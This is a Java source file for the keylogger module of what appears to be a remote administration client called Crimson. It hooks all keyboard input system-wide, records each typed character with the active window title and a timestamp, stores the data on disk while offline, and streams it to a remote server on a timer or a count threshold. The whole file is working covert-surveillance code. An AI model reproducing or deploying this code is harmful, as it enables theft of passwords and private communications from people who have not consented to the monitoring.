/******************************************************************************
* *
* Copyright 2016 Subterranean Security *
* *
* Licensed under the Apache License, Version 2.0 (the "License"); *
* you may not use this file except in compliance with the License. *
* You may obtain a copy of the License at *
* *
* http://www.apache.org/licenses/LICENSE-2.0 *
* *
* Unless required by applicable law or agreed to in writing, software *
* distributed under the License is distributed on an "AS IS" BASIS, *
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. *
* See the License for the specific language governing permissions and *
* limitations under the License. *
* *
*****************************************************************************/
package com.subterranean_security.crimson.client.modules;
import java.awt.GraphicsEnvironment;
import java.awt.HeadlessException;
import java.util.ArrayList;
import org.jnativehook.GlobalScreen;
import org.jnativehook.NativeHookException;
import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import com.subterranean_security.crimson.client.net.ClientConnectionStore;
import com.subterranean_security.crimson.core.misc.MemList;
import com.subterranean_security.crimson.core.net.Connector.ConnectionState;
import com.subterranean_security.crimson.core.proto.Keylogger.EV_KEvent;
import com.subterranean_security.crimson.core.proto.Keylogger.Trigger;
import com.subterranean_security.crimson.core.proto.MSG.Message;
import com.subterranean_security.crimson.core.store.ConnectionStore;
import com.subterranean_security.crimson.core.util.Native;
import com.subterranean_security.crimson.universal.stores.DatabaseStore;
public final class Keylogger {
private static final Logger log = LoggerFactory.getLogger(Keylogger.class);
private Keylogger() {
}
/**
* Keybuffer that stores results directly from native hook
*/
public static ArrayList<EV_KEvent> buffer = new ArrayList<EV_KEvent>();
/**
* Keybuffer that stores results persistently if server is not connected
*/
private static MemList<EV_KEvent> diskBuffer = null;
/**
* Thread that monitors the keybuffer for changes
*/
private static Thread monitor;
/**
* Native keyboard interface
*/
private static NKL nkl;
/**
* Launches the keylogger with given options
*
* @param m
* @param value
* @throws HeadlessException
* @throws NativeHookException
*/
public static void start(Trigger m, int value) throws HeadlessException, NativeHookException {
if (GraphicsEnvironment.isHeadless()) {
throw new HeadlessException();
}
stop();
log.info("Starting keylogger");
try {
diskBuffer = (MemList<EV_KEvent>) DatabaseStore.getDatabase().getObject("keylogger.buffer");
diskBuffer.setDatabase(DatabaseStore.getDatabase());
} catch (Exception e) {
log.error("Failed to initialize persistent key buffer");
}
monitor = new Thread(new Runnable() {
public void run() {
try {
switch (m) {
case EVENT:
while (!Thread.currentThread().isInterrupted()) {
// wait for an event
synchronized (buffer) {
buffer.wait();
}
if (buffer.size() >= value) {
flush();
}
}
break;
case PERIODIC:
while (!Thread.currentThread().isInterrupted()) {
Thread.sleep(value * 1000);
flush();
}
break;
default:
break;
}
} catch (InterruptedException e) {
return;
}
}
});
monitor.start();
nkl = new NKL(m);
try {
GlobalScreen.registerNativeHook();
GlobalScreen.addNativeKeyListener(nkl);
} catch (NativeHookException e) {
stop();
throw e;
}
}
/**
* Stops keylogger if running
*/
public static void stop() {
if (monitor != null) {
log.info("Stopping keylogger");
monitor.interrupt();
monitor = null;
}
try {
if (nkl != null) {
GlobalScreen.removeNativeKeyListener(nkl);
}
GlobalScreen.unregisterNativeHook();
} catch (NativeHookException e) {
}
flush();
}
/**
* Query the state of the keylogger
*
* @return true if keylogger is running
*/
public static boolean isOnline() {
return monitor == null ? false : (monitor.isAlive() && GlobalScreen.isNativeHookRegistered());
}
public static boolean isInstalled() {
try {
Class.forName("org.jnativehook.keyboard.NativeKeyListener");
return true;
} catch (Exception e) {
return false;
}
}
/**
* Flushes the in-memory buffer either to the server or to persistent
* storage
*/
public static synchronized void flush() {
if (ConnectionStore.getServerConnectionState() != ConnectionState.AUTHENTICATED) {
while (buffer.size() > 0) {
diskBuffer.add(buffer.remove(0));
}
} else {
while (diskBuffer.size() > 0) {
ConnectionStore.route(Message.newBuilder().setEvKevent(diskBuffer.remove(0)));
}
while (buffer.size() > 0) {
ConnectionStore.route(Message.newBuilder().setEvKevent(buffer.remove(0)));
}
}
}
}
class NKL implements NativeKeyListener {
private Trigger trigger;
public NKL(Trigger m) {
this.trigger = m;
}
@Override
public void nativeKeyTyped(NativeKeyEvent e) {
// grab that window title
String windowTitle = null;
try {
windowTitle = Native.getActiveWindow();
} catch (Throwable e1) {
windowTitle = "unknown window";
}
synchronized (Keylogger.buffer) {
Keylogger.buffer.add(EV_KEvent.newBuilder().setDate(e.getWhen()).setTitle(windowTitle)
.setEvent((e.getModifiers() == 0 ? "" : "") + e.getKeyChar()).build());
if (trigger == Trigger.EVENT) {
// notify monitor thread
Keylogger.buffer.notifyAll();
}
}
}
@Override
public void nativeKeyPressed(NativeKeyEvent arg0) {
// TODO Auto-generated method stub
}
@Override
public void nativeKeyReleased(NativeKeyEvent arg0) {
// TODO Auto-generated method stub
}
}